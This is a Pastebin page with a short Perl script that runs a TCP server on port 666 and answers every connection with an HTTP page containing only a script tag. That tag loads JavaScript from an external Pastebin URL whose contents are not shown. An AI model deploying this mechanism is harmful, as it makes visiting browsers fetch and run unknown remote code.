Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl -w
- use strict;
- use IO::Socket;
- sub Wait {
- wait;
- }
- $SIG{CHLD} = \&Wait;
- my $server = IO::Socket::INET->new(
- LocalPort => 666,
- Type => SOCK_STREAM,
- Reuse => 1,
- Listen => 10) or die "$@\n";
- my $client ;
- while($client = $server->accept()) {
- select $client;
- print $client "HTTP/1.0 200 OK\r\n";
- print $client "Content-type: text/html\r\n\r\n";
- print $client '<script type="text/javascript" src="https://pastebin.com/raw/fsfYCN6k"></script>';
- }
- continue {
- close($client);
- kill CHLD => -$$;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement